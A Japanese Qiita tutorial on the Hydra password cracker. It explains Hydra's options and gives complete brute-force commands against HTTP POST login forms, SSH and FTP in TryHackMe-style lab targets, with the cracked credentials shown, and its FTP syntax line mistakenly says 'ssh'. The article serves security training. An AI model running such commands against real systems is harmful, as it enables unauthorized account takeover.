LoginSignup
0
0

はじめに

必ず許可された環境でのみ実行してください。

Hydraとは?

ブルートフォースでパスワードをクラッキングできるツールです。
Kaliにはデフォルトでインストールされています。

  • GitHub

Hydraの使い方

多数のプロトコルに対応しているのが特徴です。

サポートするプロトコル一覧

Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Kali Tool Documentation: Hydraより

基本構文

Hydraの基本的な構文を紹介します。

hydra [オプション] [ターゲット] [サービス]

ターゲットの指定に関しては下記のようにすることもできます。

[サービス]://[ターゲット]

ssh://192.168.1.100

基本オプション

  • -l
    • ログイン用のユーザー名を指定します
  • -L
    • ユーザー名のリストファイルを指定します
  • -p
    • ログイン用のパスワードを指定します
  • -P
    • パスワードのリストファイルを指定します
  • -f
    • ログイン/パスワードのペアが見つかったら終了します
  • -t
    • 同時に実行するスレッド数を指定
    • デフォルトは16です
  • -v
    • 詳細な出力を表示

パスワードクラッキング

主要なプロトコルに対する攻撃例を紹介します。

HTTP POST

TryHackMeのHydraルームを利用して、HTTPのPOSTリクエストでログインする場合のパスワードクラッキングを試みます。

構文

構文は下記の通りです。

hydra <username> <wordlist> <target ip> http-post-form "<path>:<login_credentials>:F=<invalid_response>"

オプション

POST送信をする際に必要なオプションを紹介します。

  • http-post-form
    • フォームのメソッドがPOSTであると指定します
  • <path>
    • ログインフォームのURLを指定します
  • <login_credentials>
    • 送信するPOSTボディのパラメータを指定します
    • ユーザー名は^USER^と指定します
    • パスワードは^PASS^と指定します
  • <invalid_response>
    • ログインが失敗したレスポンスの一部を指定します
    • F=なしで指定することもできます

実行

ログインフォームがあります。

login form.png

テストリクエストを送信し、攻撃に必要なパラメータを取得します。
前提として、ユーザー名がmollyだと判明しています。

login post body.png

bodyのパラメータと認証に失敗した場合のメッセージを取得できました。
得られた情報を使用して攻撃を実行します。

$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.78.255 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect" -V

パスワードを特定できました。

[80][http-post-form] host: 10.10.78.255   login: molly   password: sunshine

SSH

SSHに対するパスワードクラックを試みます。

構文

構文は下記の通りです。

hydra -l <username> -P <full path to pass> <target ip> ssh

実行

前提としてユーザー名はmollyであると判明しています。
攻撃を実行します。

$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.78.255 ssh -t 4

パスワードを特定できました。

[22][ssh] host: 10.10.78.255   login: molly   password: butterfly

FTP

FTPのパスワードクラッキングを試みます。

構文

hydra -l <username> -P <full path to pass> <target ip> ssh

実行

前提としてユーザー名はftp-userであると判明しています。
攻撃を実行します。

$ hydra -l ftp-user -P /usr/share/wordlists/rockyou.txt 192.168.178.16 ftp -t 30

パスワードを特定できました。

[21][ftp] host: 192.168.178.16   login: ftp-user   password: Password

おすすめの教材

TryHackMeの「hydra」ルームが無料で出来るのでお勧めです。

参考サイト

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0